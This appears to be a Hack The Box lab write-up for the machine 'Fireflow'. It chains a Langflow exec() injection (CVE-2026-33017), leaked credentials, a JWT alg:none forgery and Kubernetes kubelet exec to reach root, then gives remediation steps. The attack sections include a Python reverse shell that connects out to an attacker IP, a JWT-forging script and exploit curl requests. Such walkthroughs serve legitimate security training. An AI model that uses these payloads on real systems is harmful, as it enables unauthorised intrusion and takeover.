HTB: Fireflow

Fireflow is a medium Linux machine featuring a Langflow AI agent platform vulnerable to CVE-2026-33017, unauthenticated RCE via exec() injection to gain a foothold, Langflow superuser credentials leaked from the process environment for lateral movement, a JWT alg:none bypass against an MCP Tool Registry for code execution inside a Kubernetes pod, and kubelet WebSocket exec via nodes/proxy RBAC against a privileged node-exporter pod with the host filesystem mounted for root.

$ cat fireflow.md | grep -E "time|words"20 min read · 4046 words

Fireflow Avatar

TL;DR#

IPs#

Hack The Box uses dynamic IP addresses. I will use 10.129.95.7 for Fireflow and 10.10.4.4 for my Kali throughout this writeup, please change them to your own IPs.

Kill Chain#

Langflow 1.8.2 public flow ➔ CVE-2026-33017 exec() RCE ➔ www-data ➔ LANGFLOW_SUPERUSER_PASSWORD env leak ➔ Password Reuse ➔ nightfall ➔ JWT alg:none bypass ➔ MCP Tool Registry admin RCE ➔ mcp pod ➔ nodes/proxy RBAC ➔ kubelet WebSocket exec ➔ node-exporter hostPath / ➔ root

Reconnaissance & Enumeration#

TCP Scan: nmap#

My nmap scan reveals two open TCP ports, 22/ssh and 443/https running nginx:

nmap — cheatsheet reference
  • -sC runs the default scripts scan, -sV detects service versions, -p- scans all 65535 ports, and --min-rate 10000 keeps the scan fast.

The redirect and SSL certificate leaks the domain fireflow.htb, which I pipe straight to /etc/hosts:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/fireflow]
└─$ echo "10.129.95.7 fireflow.htb" | sudo tee -a /etc/hosts

Website: fireflow.htb (Port 443)#

The website https://fireflow.htb is a dark-themed Task Force Nightfall AI intelligence platform:

There is a Open Agent link pointing to https://flow.fireflow.htb/playground/7d84d636-af65-42e4-ac38-26e867052c25.

Subdomain: flow.fireflow.htb#

I add the newly discovered vhost to my /etc/hosts too:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/fireflow]
└─$ echo "10.129.95.7 flow.fireflow.htb" | sudo tee -a /etc/hosts

Visiting https://flow.fireflow.htb returns an Agent Dev chat built with Langflow, which is an open-source, low-code/no-code visual builder for creating AI agents:

Confirming running version via API:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/fireflow]
└─$ curl -sk https://flow.fireflow.htb/api/v1/version
{"version":"1.8.2","main_version":"1.8.2","package":"Langflow"}
curl — cheatsheet reference

Langflow 1.8.2 — and the auto-login endpoint confirms it is disabled:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/fireflow]
└─$ curl -sk https://flow.fireflow.htb/api/v1/auto_login
{"detail":{"message":"Auto login is disabled.","auto_login":false}}
curl — cheatsheet reference

Initial Foothold#

Langflow 1.8.2: CVE-2026-33017#

Searching for known CVEs I find that Langflow ≤ 1.8.2 is vulnerable to CVE-2026-33017 (CVSS 9.8). Attacker-supplied flow data containing arbitrary Python in node definitions is passed directly to exec() with zero sandboxing via the POST /api/v1/build_public_tmp/{flow_id}/flow endpoint.

The key distinction from CVE-2025-3248: that earlier CVE only patched /api/v1/validate/code by adding authentication. CVE-2026-33017 targets a completely different endpoint — the public flow build endpoint — that requires no authentication at all. Langflow 1.8.2 claimed a fix in the changelog but JFrog confirmed the code was never actually changed. Only 1.9.0 removed the data parameter entirely.

Since auto-login is disabled I can not enumerate flows, but the landing page already handed me the public flow UUID 7d84d636-af65-42e4-ac38-26e867052c25. A quick probe confirms the endpoint is live:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/fireflow]
└─$ curl -sk -X POST "https://flow.fireflow.htb/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow" \
  -H "Content-Type: application/json" \
  -b "client_id=cb3f9dee-b7d6-473d-9df0-c12d97c42396" \
  -d '{"data":{"nodes":[],"edges":[]}}'

{"job_id":"acdaade6-689a-4365-842c-68fc5eb0c96d"}
curl — cheatsheet reference

I found & clone a PoC from oscar-mine and test it:

rce — cheatsheet reference

Exploit’s check confirms UUID target, but --revshell does not fire properly:

rce — cheatsheet reference

So I write a minimal wrapper fire.py that disables SSL verification and injects a reverse shell payload using the PoC’s build_flow_payload() and payload_revshell() helpers:

Start a nc listener and fire the exploit again:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/fireflow/CVE-2026-33017-Exploit]
└─$ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...

┌──(kali㉿shadowcat)-[~/htb/writeups/fireflow/CVE-2026-33017-Exploit]
└─$ python3 fire.py 10.10.4.4 443
[*] status: 200
[+] build queued: 3c2bb83b-9cfe-413b-bda9-eadf2d016439, triggering events stream
netcat — cheatsheet reference

The shell lands as www-data, upgrading to PTY is key:

netcat — cheatsheet reference
pty-upgrade — cheatsheet reference

Lateral Movement#

Credential Leak: Langflow Environment#

Langflow stores its superuser credentials in environment variables set by the systemd service unit:

Username: nightfall Password: n1ghtm4r3_b4_n1ghtf4ll

Password Reuse: nightfall#

The only non-root user on the box is nightfall (uid 1000). The Langflow superuser password is a themed phrase — nightmare before nightfall — making password reuse the obvious next step:

User Flag#

Logged in as nightfall and snacking the user flag:

bash
nightfall@fireflow:~$ cat user.txt
59b9547f4e3b419f1993571cdcbf750a

Privilege Escalation#

Enumeration#

sudo -l returns nothing for nightfall and Standard SUID binaries are all stock Ubuntu. Looking at running processes reveals a k3s (lightweight Kubernetes) server running as root, along with several containerd-shim processes confirming active pods:

sudo-abuse — cheatsheet reference
suid-abuse — cheatsheet reference

MCP Tool Registry: ~/.mcp/config.json#

Nightfall’s home directory contains a hidden .mcp directory with a config.json:

bash
nightfall@fireflow:~/.mcp$ ls
config.json
nightfall@fireflow:~/.mcp$ cat config.json
{
  "server": "http://10.129.95.7:30080",
  "status_endpoint": "/api/v1/version",
  "user": "langflow-bot",
  "password": "Langfl0w@mcp2026!"
}
nightfall@fireflow:~/.mcp$ 

Port 30080 is a Kubernetes NodePort. Probing it:

curl — cheatsheet reference

Two findings jump out immediately: supported_algorithms includes "none" — a critical JWT vulnerability — and POST /api/v1/tools is an admin-only endpoint for registering tools with a code field.

JWT alg:none Bypass#

The JWT none algorithm vulnerability means a token with "alg":"none" and an empty signature is accepted as valid. I craft an admin token without needing the signing secret:

python
cat > jwt.py << 'EOF'
import base64, json
 
def b64url(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
 
header = b64url(json.dumps({"alg":"none","typ":"JWT"}).encode())
payload = b64url(json.dumps({"sub":"attacker","role":"admin"}).encode())
token = f"{header}.{payload}."
 
print(token)
EOF
bash
nightfall@fireflow:~/.mcp$ export ADMIN_JWT=$(python3 jwt.py)
nightfall@fireflow:~/.mcp$ echo $ADMIN_JWT
eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiAiYXR0YWNrZXIiLCAicm9sZSI6ICJhZG1pbiJ9.

Verifying the forged token works against the admin endpoint:

bash
nightfall@fireflow:~/.mcp$ curl -s -X POST http://127.0.0.1:30080/api/v1/tools \
  -H "Authorization: Bearer $ADMIN_JWT" \
  -H "Content-Type: application/json" \
  -d '{"name":"test","description":"x","code":"print(1)"}' | jq
{
  "status": "registered",
  "name": "test"
}
curl — cheatsheet reference

MCP RCE: Tool Registration#

The POST /api/v1/tools endpoint accepts a code field containing arbitrary Python that is executed when the tool is called via the MCP JSON-RPC endpoint. The framework captures print() output as the tool result:

bash
# Register a reverse shell tool
nightfall@fireflow:~$ curl -s -X POST http://127.0.0.1:30080/api/v1/tools \
  -H "Authorization: Bearer $ADMIN_JWT" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "shell",
    "description": "debug shell",
    "inputSchema": {"type":"object","properties":{}},
    "code": "import socket,os,pty\npid=os.fork()\nif pid>0:\n import sys;sys.exit(0)\nos.setsid()\npid=os.fork()\nif pid>0:\n import sys;sys.exit(1)\ns=socket.socket()\ns.connect((\"10.10.4.4\",443))\n[os.dup2(s.fileno(),i) for i in(0,1,2)]\npty.spawn(\"/bin/sh\")"
  }'
{"status":"registered","name":"shell"}

# Trigger it
nightfall@fireflow:~$ curl -s -X POST http://127.0.0.1:30080/mcp \
  -H "Authorization: Bearer $ADMIN_JWT" \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"shell","arguments":{}}}'
reverse-shell — cheatsheet reference
curl — cheatsheet reference

Shell lands as mcp inside the MCP pod:

bash
┌──(kali㉿shadowcat)-[~]
└─$ rlwrap -cAr nc -nlvp 443
connect to [10.10.4.4] from (UNKNOWN) [10.129.95.7] 50039
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
mcp@mcp-server-54464cb475-29ztf:/app$ 
zsh: suspended  rlwrap -cAr nc -nlvp 443
                                                                                                                                                                
┌──(kali㉿shadowcat)-[~/htb/writeups/fireflow]
└─$ stty raw -echo; fg       
[1]  + continued  rlwrap -cAr nc -nlvp 443
mcp@mcp-server-54464cb475-29ztf:/app$ export TERM=xterm-256color; stty rows 50 cols 200
<$ export TERM=xterm-256color; stty rows 50 cols 200
mcp@mcp-server-54464cb475-29ztf:/app$ id
id
uid=1000(mcp) gid=1000(mcp) groups=1000(mcp)
netcat — cheatsheet reference
pty-upgrade — cheatsheet reference

Kubernetes RBAC: nodes/proxy#

From inside the MCP pod I enumerate RBAC permissions using the mounted service-account token:

curl — cheatsheet reference

The SA has get on nodes/proxy — this allows proxying GET requests through the apiserver directly to the kubelet API on any node. Enumerating running pods via the kubelet proxy:

bash
mcp@mcp-server-54464cb475-29ztf:~$ curl -sk --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
  -H "Authorization: Bearer $TOKEN" \
  https://kubernetes.default.svc/api/v1/nodes/fireflow/proxy/pods | \
  python3 -c "
import sys, json 
d = json.load(sys.stdin)
for p in d.get('items', []):
    s = p.get('spec', {})
    hostpid = s.get('hostPID', False)
    vols = [v.get('hostPath', {}).get('path') for v in s.get('volumes', []) if 'hostPath' in v]
    print(p['metadata']['name'], f'hostPID={hostpid}', f'hostPath={vols}')" | python3 -m json.tool
prometheus-kube-state-metrics-7c8c787854-25j6q hostPID=False hostPath=[]
prometheus-server-867bb4fcfd-m4t59 hostPID=False hostPath=[]
mcp-server-54464cb475-29ztf hostPID=False hostPath=[]
prometheus-prometheus-node-exporter-nmntq hostPID=True hostPath=['/proc', '/sys', '/']
coredns-76c974cb66-cn7l6 hostPID=False hostPath=[]
local-path-provisioner-8686667995-lp9th hostPID=False hostPath=[]
metrics-server-c8774f4f4-phw6q hostPID=False hostPath=[]
curl — cheatsheet reference

The node-exporter pod has hostPID=true and the entire host filesystem mounted at /host/root. This is the path to root.

Kubelet WebSocket Exec: node-exporter#

The kubelet’s /exec/ endpoint supports WebSocket connections authenticated with a service-account bearer token. I write kube.py to execute arbitrary commands inside the node-exporter container via the kubelet on port 10250:

I transfer it to the pod via python -m http.server and execute it to get root:

bash
mcp@mcp-server-54464cb475-29ztf:/tmp$ curl -O 10.10.4.4/kube.py
curl -O 10.10.4.4/kube.py
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1260  100  1260    0     0   3700      0 --:--:-- --:--:-- --:--:--  3705
mcp@mcp-server-54464cb475-29ztf:/tmp$ python3 kube.py
python3 kube.py
uid=0(root) gid=65534(nobody) groups=10(wheel),65534(nobody)
{"metadata":{},"status":"Success"}
curl — cheatsheet reference

Root Flag#

I catch the root flag, Fireflow is pwned:

bash
mcp@mcp-server-54464cb475-29ztf:/tmp$ python3 kube.py "cat /host/root/root/root.txt"
python3 kube.py "cat /host/root/root/root.txt"
e7d69bfd0f6e6ba111bca81a164cfdca
{"metadata":{},"status":"Success"}

Pwned#

Vulnerabilities#

Beyond root, let me summarize which vulnerabilities I found and used on Fireflow:

Vulnerabilities Summary#

vulnerabilities
VulnerabilityCVE / CWESeverityRoot CauseReal-World Impact
Langflow exec() InjectionCVE-2026-33017 / CWE-94: Improper Control of Generation of CodeCriticalUser-supplied flow node Python is passed directly into exec() via the unauthenticated /api/v1/build_public_tmp/{flow_id}/flow endpoint; claimed fix in 1.8.2 was never appliedUnauthenticated RCE as www-data, full Langflow service compromise
Credentials in Process EnvironmentCWE-214: Invocation of Process Using Visible Sensitive InformationHighLangflow systemd unit passes LANGFLOW_SUPERUSER_PASSWORD as a plain-text env var; all child processes including shells inherit itSuperuser password disclosure to any process running under the service account
Password Reuse: nightfallCWE-521: Weak Password RequirementsHighLangflow superuser password reused verbatim for the nightfall OS accountLateral movement from www-data to nightfall via SSH
JWT alg:none AcceptanceCWE-347: Improper Verification of Cryptographic SignatureCriticalMCP Tool Registry advertises and accepts "alg":"none" — tokens with empty signatures are treated as valid; no secret requiredUnauthenticated admin access to the MCP registry, arbitrary Python tool registration
MCP Arbitrary Code ExecutionCWE-94: Improper Control of Generation of CodeCriticalAdmin POST /api/v1/tools accepts a code field containing arbitrary Python executed on invocation with no sandboxingRCE as mcp inside the Kubernetes pod, container compromise
Kubernetes nodes/proxy OverpermissionCWE-269: Improper Privilege ManagementHighMCP service-account granted get on nodes/proxy, allowing unauthenticated kubelet API access including WebSocket exec to any podArbitrary command execution in any pod on the node via kubelet exec
node-exporter hostPath + hostPIDCWE-250: Execution with Unnecessary PrivilegesCriticalnode-exporter DaemonSet mounts host / at /host/root and sets hostPID=true; any exec into the container gives full host filesystem read/write as rootComplete host filesystem access, root flag read, potential persistent backdoor

Remediation#

If I were the admin of this machine, these are the steps to mitigate the complete kill chain:

Langflow exec() Injection: CVE-2026-33017 (CWE-94)#

Upgrade to Langflow ≥ 1.9.0 which removes the data parameter from the public build endpoint entirely. As an immediate workaround, block the build endpoint at the reverse proxy level:

bash
# nginx — add inside the flow.fireflow.htb server block
location ~ ^/api/v1/build_public_tmp/.*/flow$ {
    return 403;
}

Verify the endpoint is blocked:

bash
root@fireflow:~# curl -sk -X POST "https://flow.fireflow.htb/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow" \
  -H "Content-Type: application/json" -d '{"data":{}}'
403 Forbidden
curl — cheatsheet reference

Credentials in Process Environment: CWE-214#

Move the Langflow superuser password out of the environment into a credentials file readable only by the service account, then reference it via EnvironmentFile in the systemd unit:

bash
# Create a restricted credentials file
root@fireflow:~# cat > /etc/langflow/secrets << 'EOF'
LANGFLOW_SUPERUSER=langflow
LANGFLOW_SUPERUSER_PASSWORD=<new-strong-password>
EOF
root@fireflow:~# chmod 0400 /etc/langflow/secrets
root@fireflow:~# chown langflow:langflow /etc/langflow/secrets

# Edit the systemd unit — replace Environment= lines with:
root@fireflow:~# systemctl edit langflow
# Add under [Service]:
# EnvironmentFile=/etc/langflow/secrets
root@fireflow:~# systemctl daemon-reload && systemctl restart langflow

Confirm the password no longer leaks to child processes:

bash
root@fireflow:~# cat /proc/$(pgrep -f langflow | head -1)/environ | tr '\0' '\n' | grep -i SUPERUSER
# should return nothing

Password Reuse: nightfall (CWE-521)#

Set a unique strong password for the nightfall account and enforce password policy:

bash
root@fireflow:~# passwd nightfall
New password:
Retype new password:
passwd: password updated successfully

root@fireflow:~# cat /etc/shadow | grep nightfall
nightfall:$6$<new-hash>...:20000:0:99999:7:::

Enforce minimum complexity by installing and configuring libpam-pwquality:

bash
root@fireflow:~# apt install libpam-pwquality -y
root@fireflow:~# sed -i 's/# minlen/minlen/' /etc/security/pwquality.conf
root@fireflow:~# echo "password requisite pam_pwquality.so retry=3 minlen=16 difok=4" \
  >> /etc/pam.d/common-password

JWT alg:none Acceptance: CWE-347#

Remove "none" from the list of accepted algorithms in the MCP registry config and enforce HS256 with a strong secret:

bash
# Inside the MCP pod or its config map — patch the JWT validation
root@fireflow:~# kubectl -n default edit configmap mcp-config
# Change:
#   supported_algorithms: ["HS256", "none"]
# To:
#   supported_algorithms: ["HS256"]
#   jwt_secret: "<32-byte-random-secret>"
root@fireflow:~# kubectl rollout restart deployment mcp-server

Verify the forged token is now rejected:

bash
$ curl -s -X POST http://127.0.0.1:30080/api/v1/tools \
  -H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJyb2xlIjoiYWRtaW4ifQ." \
  -H "Content-Type: application/json" -d '{"name":"x","code":"pass"}'
{"detail":"Invalid token"}
curl — cheatsheet reference

MCP Arbitrary Code Execution: CWE-94#

The code field on POST /api/v1/tools should be removed entirely or, at minimum, tools should be pre-registered at deploy time via a static config file rather than accepted at runtime. If dynamic registration is a product requirement, execute tool code in a sandboxed subprocess with no network access:

python
# Replace direct exec() with a restricted subprocess
import subprocess, sys

result = subprocess.run(
    [sys.executable, "-c", tool_code],
    capture_output=True, text=True, timeout=5,
    env={},           # no inherited env
    cwd="/tmp",
    user="nobody"     # drop privileges
)

Kubernetes nodes/proxy Overpermission: CWE-269#

Remove the nodes/proxy GET permission from the MCP service-account RBAC role. It has no legitimate use for a tool registry:

bash
root@fireflow:~# kubectl edit clusterrole mcp-role
# Remove this block entirely:
# - apiGroups: [""]
#   resources: ["nodes/proxy"]
#   verbs: ["get"]
root@fireflow:~# kubectl auth can-i get nodes/proxy \
  --as=system:serviceaccount:default:mcp-sa
no

node-exporter hostPath + hostPID: CWE-250#

Remove the host root mount and hostPID from the node-exporter DaemonSet. Prometheus node-exporter only needs /proc, /sys, and / for specific metrics — scope the mounts to what is actually required and enforce read-only:

bash
root@fireflow:~# kubectl -n monitoring edit daemonset prometheus-prometheus-node-exporter
# Change hostPID: true  -->  hostPID: false
# Replace the full host / mount with scoped read-only mounts:
#   - name: root
#     hostPath:
#       path: /
# Remove it entirely. Add only what metrics require:
#   - name: proc
#     hostPath: { path: /proc }
#   - name: sys
#     hostPath: { path: /sys }
# And ensure all mounts use readOnly: true
root@fireflow:~# kubectl rollout restart daemonset/prometheus-prometheus-node-exporter -n monitoring

Verify hostPID is gone and /host/root is no longer mounted:

bash
root@fireflow:~# kubectl -n monitoring get pod -l app.kubernetes.io/name=prometheus-node-exporter \
  -o jsonpath='{.items[0].spec.hostPID}'
false
KEYBOARD SHORTCUTS
/
focus the search
?
this card
←→
previous / next boxwriteups and cheatsheets
↓
at the very end: open the next boxwriteups only
Esc
close search, lightbox, menu, this card
root@shadowcat:~$ man shadowcat | grep -i keys